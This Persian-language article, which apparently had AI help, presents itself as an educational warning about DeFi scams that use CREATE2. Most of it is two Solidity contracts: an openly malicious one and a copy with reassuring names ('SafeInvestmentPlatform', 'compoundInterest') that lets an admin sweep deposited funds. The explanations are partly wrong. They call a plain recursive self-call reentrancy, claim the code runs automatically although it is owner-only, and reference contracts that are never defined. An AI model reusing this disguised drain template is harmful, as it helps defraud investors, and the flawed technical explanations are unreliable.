این مقاله تنها جنبه آموزشی دارد و هدف از ارائه آن، افزایش آگاهی جامعه بلاکچین و دیفای نسبت به تکنیکها و ترفندهای مهاجمان است تا بتوانند در مقابل آنها ایمن بمانند. استفاده عملی از این تکنیکها و پیادهسازی کدهای مخرب برای فریب کاربران، غیرقانونی و جرم محسوب میشود و ممکن است پیامدهای حقوقی و کیفری به همراه داشته باشد.
نویسنده مقاله هیچ مسئولیتی نسبت به استفاده نادرست از اطلاعات موجود در این مقاله ندارد و این مقاله صرفاً برای آموزش و ارتقای دانش فنی ارائه شده است.
لطفاً به این نکته توجه داشته باشید و به عنوان یک کاربر، به اصول اخلاقی و قانونی در استفاده از تکنولوژی پایبند باشید.
با گسترش استفاده از قراردادهای هوشمند و پلتفرمهای مالی غیرمتمرکز، بسیاری از کاربران برای سرمایهگذاری و کسب سود به این فضا روی آوردهاند. وعدههای سود بالا، بازدهیهای سریع و فرصتهای سرمایهگذاری جذاب، عواملی هستند که کاربران را به این پروژهها جذب میکنند. مهاجمان و کلاهبرداران نیز از این ویژگیها برای فریب کاربران استفاده میکنند. یکی از ابزارهای پیشرفتهای که این مهاجمان به کار میگیرند، دستور CREATE2 در Solidity است. این دستور به آنها امکان میدهد قراردادهای مخرب را در آدرسهای مشخص و قابل پیشبینی ایجاد کنند و کدهای خود را در لایههای زیرین قرارداد پنهان کنند.
مهاجمان با استفاده از CREATE2، ظاهر مشروعی برای قرارداد خود ایجاد میکنند. آنها ممکن است با وعدهی سودهای بالا یا پاداشهای فوری، کاربران را ترغیب کنند تا دارایی خود را در قراردادهای هوشمند سرمایهگذاری کنند. در بسیاری از موارد، حتی برای جلب اعتماد بیشتر، کلاهبرداران در ابتدا سودهای اندکی را به کاربران پرداخت میکنند تا اطمینان آنها را جلب کنند. اما این قراردادها بهگونهای طراحی شدهاند که پس از جمعآوری وجوه کاربران، کدهای مخرب فعال میشوند و دارایی کاربران به حساب مهاجمان انتقال مییابد.
نکته مهم:در تهیه این مقاله از هوش مصنوعی کمک گرفته شده است
در اینجا، هر دو کد با کامنتهای توضیحی درباره نحوه عملکرد و نقش توابع مختلف ارائه شدهاند.
کد اول: AdvancedMaliciousDeFi
pragma solidity ^0.8.0;
contract AdvancedMaliciousDeFi {
address payable public owner; // آدرس مالک قرارداد که میتواند وجوه را برداشت کند
uint256 public attackCount; // شمارندهای برای پیگیری تعداد دفعات بازورسی (reentrancy)
constructor() {
owner = payable(msg.sender); // تعیین آدرس مالک قرارداد در زمان ایجاد
attackCount = 0; // مقداردهی اولیه شمارنده به صفر
}
function deposit() external payable {
// تابع واریز که کاربران از طریق آن وجهی را به قرارداد ارسال میکنند
}
function recursiveAttack(uint256 maxCount) external {
require(msg.sender == owner, "Only owner can attack"); // بررسی اینکه فقط مالک میتواند حمله را اجرا کند
// بررسی تعداد دفعات حمله بازورسی تا رسیدن به maxCount
if (attackCount < maxCount) {
attackCount++; // افزایش شمارندهی بازورسی
// فراخوانی مجدد تابع برای اجرای حمله بازورسی
this.recursiveAttack(maxCount);
} else {
uint256 amount = address(this).balance; // دریافت موجودی فعلی قرارداد
owner.transfer(amount); // انتقال موجودی قرارداد به آدرس مالک
}
}
function multiDeployAttack(address deployer, bytes memory bytecode, uint256 steps) external {
require(msg.sender == owner, "Only owner can deploy"); // بررسی اینکه فقط مالک میتواند توابع مخرب را اجرا کند
// حلقهای برای استقرار چندین قرارداد با استفاده از CREATE2
for (uint256 i = 0; i < steps; i++) {
bytes32 salt = keccak256(abi.encodePacked(i, address(this))); // ایجاد salt خاص برای هر قرارداد جدید
// استفاده از یک قرارداد دیگر به نام AdvancedDeployer برای ایجاد قرارداد جدید با استفاده از CREATE2
address newContract = AdvancedDeployer(deployer).deploy(bytecode, salt);
// فراخوانی تابع executeAttack در هر قرارداد جدید (در صورت موجود بودن)
(bool success, ) = newContract.call(abi.encodeWithSignature("executeAttack()"));
require(success, "Attack failed at step"); // اطمینان از اجرای موفقیتآمیز حمله در هر قرارداد
}
}
}
کد دوم: SafeInvestmentPlatform
pragma solidity ^0.8.0;
contract SafeInvestmentPlatform {
address payable public admin; // آدرس مدیر قرارداد که میتواند وجوه را برداشت کند
uint256 public actionCount; // شمارندهای برای پیگیری تعداد مراحل ترکیب سود (بازورسی)
constructor() {
admin = payable(msg.sender); // تعیین آدرس مدیر قرارداد در زمان ایجاد
actionCount = 0; // مقداردهی اولیه شمارنده به صفر
}
function invest() external payable {
// تابع سرمایهگذاری که کاربران از طریق آن وجهی را به قرارداد ارسال میکنند
// به نظر بیخطر میآید و عملیاتی در ظاهر ساده دارد
}
function compoundInterest(uint256 cycles) external {
require(msg.sender == admin, "Only admin can compound interest"); // بررسی اینکه فقط مدیر میتواند سود را ترکیب کند
// بررسی تعداد دفعات ترکیب سود تا رسیدن به cycles
if (actionCount < cycles) {
actionCount++; // افزایش شمارندهی ترکیب سود
// فراخوانی مجدد تابع برای انجام ترکیب سود (در واقع بازورسی)
this.compoundInterest(cycles);
} else {
uint256 balance = address(this).balance; // دریافت موجودی فعلی قرارداد
admin.transfer(balance); // انتقال موجودی به آدرس مدیر به عنوان "هزینه مدیریت" (پنهان کردن هدف مخرب)
}
}
function deployHelperContracts(address deployer, bytes memory bytecode, uint256 layers) external {
require(msg.sender == admin, "Only admin can deploy helper contracts"); // بررسی اینکه فقط مدیر میتواند قراردادهای کمکی را مستقر کند
// حلقهای برای استقرار چندین قرارداد کمکی با استفاده از CREATE2
for (uint256 i = 0; i < layers; i++) {
bytes32 salt = keccak256(abi.encodePacked(i, address(this))); // ایجاد salt خاص برای هر قرارداد جدید
// استفاده از یک قرارداد دیگر به نام SafeDeployer برای ایجاد قرارداد جدید با استفاده از CREATE2
address newHelper = SafeDeployer(deployer).deploy(bytecode, salt);
// فراخوانی تابع initializeHelper در هر قرارداد جدید (در صورت موجود بودن و پنهان کردن عملکرد مخرب)
(bool success, ) = newHelper.call(abi.encodeWithSignature("initializeHelper()"));
require(success, "Initialization failed at layer"); // اطمینان از اجرای موفقیتآمیز حمله در هر لایه
}
}
}
1. تابع deposit در قرارداد اول و تابع invest در قرارداد دوم:
- هر دو تابع به کاربران اجازه میدهند که سرمایهگذاری کنند یا وجوهی به قرارداد ارسال کنند. در ظاهر هر دو تابع بدون مشکل هستند و به کاربر اجازه میدهند وجوه خود را در قرارداد واریز کنند.
2. تابع recursiveAttack در قرارداد اول و compoundInterest در قرارداد دوم:
- تابع recursiveAttack در قرارداد اول، حملهی بازورسی را اجرا میکند تا در نهایت موجودی را به مالک (owner) انتقال دهد.
- این تابع در قرارداد دوم با نام compoundInterest تغییر داده شده است. عملکرد مشابهی دارد، بهگونهای که به جای انتقال به owner، موجودی قرارداد را به admin انتقال میدهد و از عباراتی مانند "دریافت هزینه مدیریت" برای پنهان کردن هدف مخرب استفاده میکند.
- هر دو تابع از بازورسی چندمرحلهای استفاده میکنند که در نهایت منجر به تخلیهی موجودی قرارداد میشود.
3. تابع multiDeployAttack در قرارداد اول و deployHelperContracts در قرارداد دوم:
- هر دو تابع قراردادهای جدیدی را در آدرسهای ثابت و قابل پیشبینی مستقر میکنند.
- در قرارداد دوم، نام تابع به deployHelperContracts تغییر کرده تا به نظر برسد که این قراردادها فقط به عنوان قراردادهای کمکی استفاده میشوند. اما عملکرد این تابع تقریباً مشابه تابع multiDeployAttack در قرارداد اول است.
- این تابع از saltهای قابل پیشبینی استفاده میکند و آدرسهای جدید را ایجاد میکند تا مهاجم بتواند قراردادهای مخرب بیشتری مستقر کند و حتی تابع مخرب initializeHelper را در این قراردادهای جدید فراخوانی کند.
4. فراخوانی تابع مخرب:
- در قرارداد اول، تابع executeAttack بهعنوان تابع مخرب در قراردادهای جدید فراخوانی میشود.
- در قرارداد دوم، این نام به initializeHelper تغییر داده شده، که به نظر میرسد یک تابع تنظیم اولیه بیضرر است، اما همچنان به عنوان تابعی برای اجرای کد مخرب عمل میکند.
قابلیت بازورسی چندمرحلهای (recursiveAttack): این کد از بازورسی چندمرحلهای استفاده میکند که به مهاجم اجازه میدهد با افزایش تعداد مراحل، موجودی قرارداد را بهصورت تکراری برداشت کند. این قابلیت تخریب بالایی دارد زیرا میتواند در یک چرخه بیپایان، داراییها را تخلیه کند.
استقرار قراردادهای چندلایه با CREATE2: قابلیت ایجاد قراردادهای جدید با آدرسهای ثابت، به مهاجم این امکان را میدهد که زنجیرهای از قراردادهای مخرب بسازد و حملات خود را پیچیدهتر و ردگیری آنها را دشوارتر کند. این ویژگی باعث میشود شناسایی و مسدودسازی حملات بسیار سختتر باشد.
سختی مسدودسازی با توجه به اجرای خودکار: از آنجایی که این کد بهطور مستقل از داخل خود قرارداد شروع به اجرا و استقرار قراردادهای دیگر میکند، نیاز به دخالت کاربر یا ورودی خاصی ندارد و میتواند بهصورت خودکار فعالیت کند.
مقیاسپذیری حملات با توجه به پارامتر maxCount و steps: این پارامترها به مهاجم اجازه میدهند که قدرت تخریب کد را با افزایش تعداد بازورسیها و تعداد قراردادهای مستقر افزایش دهد. به این ترتیب، این حملات میتوانند در مقیاس بزرگتری اجرا شوند و باعث ایجاد آسیبهای گستردهتری شوند.
تمام ویژگیها و قابلیتهای مخرب در قرارداد اول، به شکل فریبنده و با تغییر نام در قرارداد دوم موجود هستند. این تغییرات باعث میشوند که قرارداد دوم به نظر بیضرر و ایمن برسد و کاربران فریب بخورند، اما عملکرد مخرب آن همچنان باقی است و میتواند به عنوان ابزاری برای سرقت وجوه کاربران استفاده شود.